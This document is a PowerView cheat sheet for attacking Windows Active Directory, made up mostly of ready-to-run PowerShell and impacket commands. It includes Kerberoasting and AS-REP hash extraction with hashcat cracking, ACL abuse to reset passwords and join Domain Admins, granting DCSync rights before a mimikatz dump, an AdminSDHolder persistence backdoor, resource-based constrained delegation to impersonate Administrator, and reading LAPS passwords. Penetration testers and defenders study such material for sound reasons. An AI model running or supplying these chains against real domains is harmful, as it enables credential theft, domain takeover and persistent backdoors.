# ── Unconstrained Delegation ───────────────────────────────────────────────
# Computers with unconstrained delegation (DCs always appear — ignore them)
Get-DomainComputer -Unconstrained | select samaccountname
Get-NetComputer -Unconstrained | select samaccountname
# Find all unconstrained delegation computers AND show who is logged in
Find-DomainUserLocation -ComputerUnconstrained -ShowAll
# Privileged users that allow delegation + logged into unconstrained computers
$Computers = Get-DomainComputer -Unconstrained
$Users = Get-DomainUser -AllowDelegation -AdminCount
Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation
# ── Constrained Delegation (KCD) ──────────────────────────────────────────
# Find users with constrained delegation set
Get-DomainUser -TrustedToAuth | select userprincipalname,name,msds-allowedtodelegateto
Get-Netuser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto
# Find computers with constrained delegation set
Get-DomainComputer -TrustedToAuth | select samaccountname,msds-allowedtodelegateto
Get-NetComputer -TrustedToAuth | select samaccountname
# ── Resource-Based Constrained Delegation (RBCD) ──────────────────────────
# Find all RBCD paths (users with GenericAll/GenericWrite over computer objects)
$usersid = get-domainuser | select -exp objectsid
$computeracls = Get-DomainComputer | select -exp dnshostname | get-domainobjectacl
foreach ($acl in $computeracls) {
foreach($sid in $usersid) {
$acl | ?{
$_.SecurityIdentifier -eq $sid -and (
$_.ActiveDirectoryRights -Like '*GenericAll*' -or
$_.ActiveDirectoryRights -Like '*GenericWrite*' -or
$_.ActiveDirectoryRights -Like '*WriteOwner*'
)
}
}
}
# Configure RBCD (write to msDS-AllowedToActOnBehalfOfOtherIdentity)
$ComputerSid = Get-DomainComputer EVILPC$ -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor `
-ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer TargetMachine | Set-DomainObject `
-Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
# ── SID / Name Conversion ──────────────────────────────────────────────────
# Convert SID to object name
"S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName
ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1126
# Convert name/username to SID
Convert-NameToSid john.doe
ConvertTo-SID john.doe
# ── Name Format Conversion ─────────────────────────────────────────────────
# Convert object names between formats (DN, SamAccountName, UPN, SID, GUID, etc.)
Convert-ADName -Identity "john.doe" -OutputType DN
Convert-ADName -Identity "TESTLAB\john.doe" -OutputType Canonical
# ── UAC Value Interpretation ──────────────────────────────────────────────
# Convert a UAC integer to readable flag names
ConvertFrom-UACValue 512 # NORMAL_ACCOUNT
ConvertFrom-UACValue 66048 # DONT_EXPIRE_PASSWORD + NORMAL_ACCOUNT
ConvertFrom-UACValue -InputObject (Get-DomainUser john.doe).useraccountcontrol
# ── IP / Hostname Resolution ──────────────────────────────────────────────
Resolve-IPAddress dc01.domain.local # hostname → IP
[System.Net.Dns]::GetHostEntry("dc01") # PowerShell native
# ── Generic Object Queries ─────────────────────────────────────────────────
# Query any AD object by property
Get-DomainObject -Identity "CN=john,CN=Users,DC=domain,DC=local"
Get-DomainObject -Properties objectsid,distinguishedname -LDAPFilter "(objectclass=user)"
# ── CSV Export Helper ──────────────────────────────────────────────────────
# Thread-safe CSV append (useful when running multi-threaded)
Get-DomainUser | Export-PowerViewCSV -Path .\users.csv -Append
# Enumerate DPAPI backup keys (requires DA)
Get-DomainBackupKey
Get-DomainBackupKey -Domain domain.local
# Find computers with LAPS deployed
Get-DomainComputer | ? {$_."ms-Mcs-AdmPwdExpirationTime" -ne $null}
# Read LAPS password for a specific computer (requires ReadLAPSPassword right)
Get-DomainComputer -Identity LAPS-COMPUTER -Properties ms-Mcs-AdmPwd
# Find all LAPS passwords readable by current user
Get-DomainComputer -Properties samaccountname, ms-Mcs-AdmPwd |
? {$_."ms-Mcs-AdmPwd" -ne $null}
# Find who can read LAPS passwords (via ACL enumeration)
$sid = Convert-NameToSid "Domain Users"
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {
$_.SecurityIdentifier -eq $sid -and $_.ObjectAceType -match "ms-Mcs-AdmPwd"
}
# ── Create a New Domain User ───────────────────────────────────────────────
New-DomainUser -SamAccountName eviluser `
-AccountPassword (ConvertTo-SecureString 'P@ssw0rd!' -AsPlainText -Force)
# ── Add User to Group ──────────────────────────────────────────────────────
Add-DomainGroupMember -Identity "Domain Admins" -Members eviluser
# ── Modify Object Attributes ──────────────────────────────────────────────
# Set a property using a hashtable
Set-DomainObject -Identity targetUser -Set @{'description'='Backdoor account'}
Set-DomainObject -Identity targetUser -Set @{'scriptpath'='\\attacker\evil.ps1'}
# Remove a property value
Set-DomainObject -Identity targetUser -Clear scriptpath
# XOR a bitfield (e.g., toggle UAC flag)
Set-DomainObject -Identity targetUser -XOR @{useraccountcontrol=4194304}
# ── Change Object Owner ────────────────────────────────────────────────────
Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity attacker -Verbose
# ── Add / Remove ACEs ─────────────────────────────────────────────────────
# Grant a right
Add-DomainObjectAcl -TargetIdentity target -PrincipalIdentity attacker `
-Rights All -Verbose
# Remove a right
Remove-DomainObjectAcl -TargetIdentity target -PrincipalIdentity attacker `
-Rights All -Verbose
# ── Delete Stale Objects ──────────────────────────────────────────────────
# (See deleted objects via AD module — not PowerView)
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
| Function |
Description |
Get-Domain |
Domain object for current/specified domain |
Get-DomainController |
Domain controllers for current/specified domain |
Get-DomainPolicy / Get-DomainPolicyData |
Domain or DC policy (Kerberos, password policy, rights) |
Get-Forest |
Forest object |
Get-ForestDomain |
All domains in the forest |
Get-ForestGlobalCatalog |
All global catalogs |
Get-ForestTrust |
Forest-level trusts |
Get-DomainTrust |
Domain-level trusts |
Get-DomainTrustMapping |
Recursive trust enumeration |
Get-DomainForeignGroupMember |
Groups with cross-domain members |
Get-DomainForeignUser |
Users with privileges in other forest domains |
Get-DomainDNSZone |
AD-integrated DNS zones |
Get-DomainDNSRecord |
DNS records in a zone |
Get-DomainSID |
Current domain SID |
| Function |
Description |
Get-DomainUser / Get-NetUser |
Enumerate domain users |
New-DomainUser |
Create a new domain user |
Get-DomainUserEvent |
Account logon events (ID 4624) |
Set-DomainUserPassword |
Reset a user's password |
Find-UserField |
Search user fields for keywords |
Invoke-Kerberoast |
Request TGS tickets for kerberoastable accounts |
Get-DomainSPNTicket |
Request a TGS for a specific SPN |
| Function |
Description |
Get-DomainGroup / Get-NetGroup |
Enumerate domain groups |
Get-DomainGroupMember / Get-NetGroupMember |
Group members (recursive) |
Add-DomainGroupMember |
Add a member to a group |
Remove-DomainGroupMember |
Remove a member from a group |
Get-NetLocalGroup |
Local groups on a remote machine |
Get-NetLocalGroupMember |
Local group members on a remote machine |
Get-NetGPOGroup |
Groups set via Restricted Groups / GPP |
| Function |
Description |
Get-DomainComputer / Get-NetComputer |
Enumerate domain computers |
Get-DomainOU / Get-NetOU |
Organizational units |
| Function |
Description |
Get-DomainGPO / Get-NetGPO |
Enumerate Group Policy Objects |
Get-DomainGPOLocalGroup |
GPOs setting local group memberships |
Get-DomainGPOUserLocalGroupMapping |
Machines where a user is local admin via GPO |
| Function |
Description |
Get-NetSession |
Active SMB sessions on a host |
Get-NetLoggedon |
Users logged on via net logon (admin required) |
Get-LoggedOnLocal |
Locally logged-on users (registry required) |
Get-LastLoggedon |
Last user logged on (admin required) |
Get-NetRDPSession |
Active RDP sessions (admin required) |
Find-DomainUserLocation / Invoke-UserHunter |
Find where privileged users are logged in |
Find-LocalAdminAccess |
Find machines where current user has local admin |
Find-DomainLocalGroupMember / Invoke-EnumerateLocalAdmin |
Enumerate local admins domain-wide |
Test-AdminAccess |
Test admin access on a specific machine |
| Function |
Description |
Get-NetFileServer |
Find domain file servers |
Find-DomainShare |
Enumerate shares (with -CheckShareAccess to filter readable) |
Find-InterestingDomainShareFile |
Find interesting files on domain shares |
Get-PathAcl |
Get ACLs on a file/share path |
| Function |
Description |
Get-DomainObjectAcl / Get-ObjectAcl |
Get ACEs for an AD object |
Find-InterestingDomainAcl |
Scan domain for exploitable ACEs |
Add-DomainObjectAcl |
Add an ACE to an AD object |
Remove-DomainObjectAcl |
Remove an ACE from an AD object |
Set-DomainObjectOwner |
Change an object's owner |
Set-DomainObject |
Modify AD object attributes |
| Function |
Description |
Get-DomainObject |
Raw LDAP object query |
Get-DomainObjectAttributeHistory |
Replication metadata for attributes |
Find-DomainObjectPropertyOutlier |
Objects with unusual property combinations |
Convert-NameToSid / ConvertTo-SID |
Name → SID |
ConvertFrom-SID / Convert-SidToName |
SID → name |
Convert-ADName |
Convert between DN, SamAccountName, UPN, SID, GUID |
ConvertFrom-UACValue |
Decode UAC integer flags |
Resolve-IPAddress |
Hostname → IP |
Export-PowerViewCSV |
Thread-safe CSV append |
| Function |
Description |
Invoke-Kerberoast |
Request + extract TGS hashes |
Get-DomainSPNTicket |
Request a TGS for a specific SPN |
Invoke-UserImpersonation |
Impersonate credentials (runas /netonly style) |
Invoke-RevertToSelf |
Revert to original token |
| Function |
Description |
Get-NetForestTrust |
Forest trust info |
Get-DomainBackupKey |
DPAPI domain backup keys |
Add-RemoteConnection |
Mount a remote path with credentials |
Remove-RemoteConnection |
Remove mounted remote path |
# Load PowerView
. .\PowerView.ps1
# Domain basics
Get-Domain
Get-DomainSID
Get-DomainController | select Name,IPAddress,OSVersion
# Password policy and Kerberos settings
(Get-DomainPolicy).SystemAccess
(Get-DomainPolicy).KerberosPolicy
# Low-hanging fruit check
Get-DomainUser -UACFilter NOT_ACCOUNTDISABLE | select samaccountname,description,pwdlastset
Get-DomainUser -PreauthNotRequired | select samaccountname # ASREPRoastable
Get-DomainUser -SPN | select samaccountname,serviceprincipalname # Kerberoastable
Get-NetComputer -Unconstrained | select samaccountname # Unconstrained delegation
Get-NetComputer -TrustedToAuth | select samaccountname # Constrained delegation
# Users with cleartext password in description or userPassword attribute
Get-DomainUser -Properties name, description | ? {$_.description -ne $null}
# Find any machine accounts in privileged groups
Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'}
# Interesting ACEs on current user
$sid = Convert-NameToSid $env:USERNAME
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}
# 1. Find Kerberoastable users
Get-DomainUser -SPN | select samaccountname, serviceprincipalname
# 2. Request and extract TGS hashes
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash |
Out-File -FilePath tgs_hashes.txt
# 3. Crack offline
# hashcat -m 13100 tgs_hashes.txt /usr/share/wordlists/rockyou.txt
# 1. Find targets
Get-DomainUser -PreauthNotRequired | select samaccountname
# 2. Force disable pre-auth on targets you have write to (optional)
Set-DomainObject -Identity targetUser -XOR @{useraccountcontrol=4194304} -Verbose
# 3. Request AS-REP hashes (with Rubeus or impacket-GetNPUsers)
# impacket-GetNPUsers domain/ -usersfile asrep_users.txt -format hashcat -dc-ip DC_IP
# 4. Crack
# hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
# 1. Find ACEs on objects current user controls
$sid = Convert-NameToSid $env:USERNAME
$myRights = Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {
$_.SecurityIdentifier -eq $sid
}
$myRights | select ObjectDN, ActiveDirectoryRights, ObjectAceType
# 2. If GenericAll / AllExtendedRights over a user → reset their password
Set-DomainUserPassword -Identity targetUser `
-AccountPassword (ConvertTo-SecureString 'NewP@ss!' -AsPlainText -Force)
# 3. If GenericAll / WriteMembers over a group → add yourself
Add-DomainGroupMember -Identity "Domain Admins" -Members $env:USERNAME -Verbose
# 4. If WriteDACL over an object → grant yourself GenericAll
Add-DomainObjectAcl -TargetIdentity targetObject -PrincipalIdentity $env:USERNAME `
-Rights All -Verbose
# 5. If WriteOwner over an object → take ownership, then grant GenericAll
Set-DomainObjectOwner -Identity targetObject -OwnerIdentity $env:USERNAME -Verbose
Add-DomainObjectAcl -TargetIdentity targetObject -PrincipalIdentity $env:USERNAME `
-Rights All -Verbose
# 6. If DCSync rights can be granted → escalate to DCSync
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" `
-PrincipalIdentity $env:USERNAME -Rights DCSync -Verbose
# Then: mimikatz lsadump::dcsync /domain:domain.local /user:Administrator
# 1. Verify you have GenericWrite on the target
$sid = Convert-NameToSid $env:USERNAME
Get-DomainObjectACL -ResolveGUIDs -Identity targetUser | ? {
$_.SecurityIdentifier -eq $sid -and
$_.ActiveDirectoryRights -match 'GenericWrite|WriteProperty'
}
# 2. Add a fake SPN to target
Set-DomainObject -Identity targetUser -Set @{servicePrincipalName='fake/host.domain.local'}
# 3. Kerberoast
Get-DomainSPNTicket -SPN 'fake/host.domain.local' -OutputFormat Hashcat
# 4. Clean up SPN
Set-DomainObject -Identity targetUser -Clear servicePrincipalName
# 1. Add attacker account to AdminSDHolder DACL
# SDProp propagates this to ALL protected accounts every ~60 minutes
Add-DomainObjectAcl `
-TargetIdentity 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' `
-PrincipalIdentity backdoor_user `
-Rights All -Verbose
# 2. Wait ~60 minutes (or trigger SDProp manually via regedit on DC)
# 3. Now backdoor_user has GenericAll over every protected account
# (Domain Admins, Enterprise Admins, Schema Admins, etc.)
# Requires: GenericWrite or WriteProperty on a computer object's
# msDS-AllowedToActOnBehalfOfOtherIdentity attribute
# 1. Add a machine account (or use existing one you control)
# Use Powermad:
# New-MachineAccount -MachineAccount EVILPC -Password $(ConvertTo-SecureString 'P@ss' -AsPlainText -Force)
# 2. Get SID of the machine account
$ComputerSid = Get-DomainComputer EVILPC$ -Properties objectsid | Select -Expand objectsid
# 3. Build raw security descriptor
$SD = New-Object Security.AccessControl.RawSecurityDescriptor `
-ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
# 4. Write RBCD on target computer
Get-DomainComputer TargetMachine | Set-DomainObject `
-Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
# 5. Verify
Get-DomainComputer TargetMachine -Properties msds-allowedtoactonbehalfofotheridentity
# 6. Now use Rubeus/impacket S4U2Proxy to get ticket as Administrator
# impacket-getST domain/EVILPC$:P@ss -spn cifs/TargetMachine.domain.local -impersonate Administrator -dc-ip DC_IP
# Hunt for Domain Admin sessions (loudest method)
Find-DomainUserLocation -CheckAccess | select UserName, SessionFromName
# Stealth — only hit high-value server targets
Find-DomainUserLocation -Stealth
# Hunt on unconstrained delegation hosts only
Find-DomainUserLocation -ComputerUnconstrained -ShowAll
# Hunt for a specific group
Find-DomainUserLocation -UserGroupIdentity "Server Admins"
# 1. Enumerate all trusts
Get-DomainTrustMapping | fl
# 2. Find foreign principals
Get-DomainForeignGroupMember -Domain target.forest.com
Get-DomainForeignUser
# 3. Check for TREAT_AS_EXTERNAL (SID filtering disabled)
Get-DomainTrust | ? {$_.TrustAttributes -match 'TREAT_AS_EXTERNAL'}
# 4. If available: abuse with inter-realm Golden Ticket
# (see ticketer section in Impacket wiki for commands)
- PowerView source (dev branch): https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
- HarmJ0y tricks gist: https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993
- HarmJ0y blog: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
- SharpView (.NET port): https://github.com/tevora-threat/SharpView
- HackTricks reference: https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters/powerview
- S1ckB0y1337 AD Exploitation Cheat Sheet: https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
- HarmJ0y CheatSheets repo: https://github.com/HarmJ0y/CheatSheets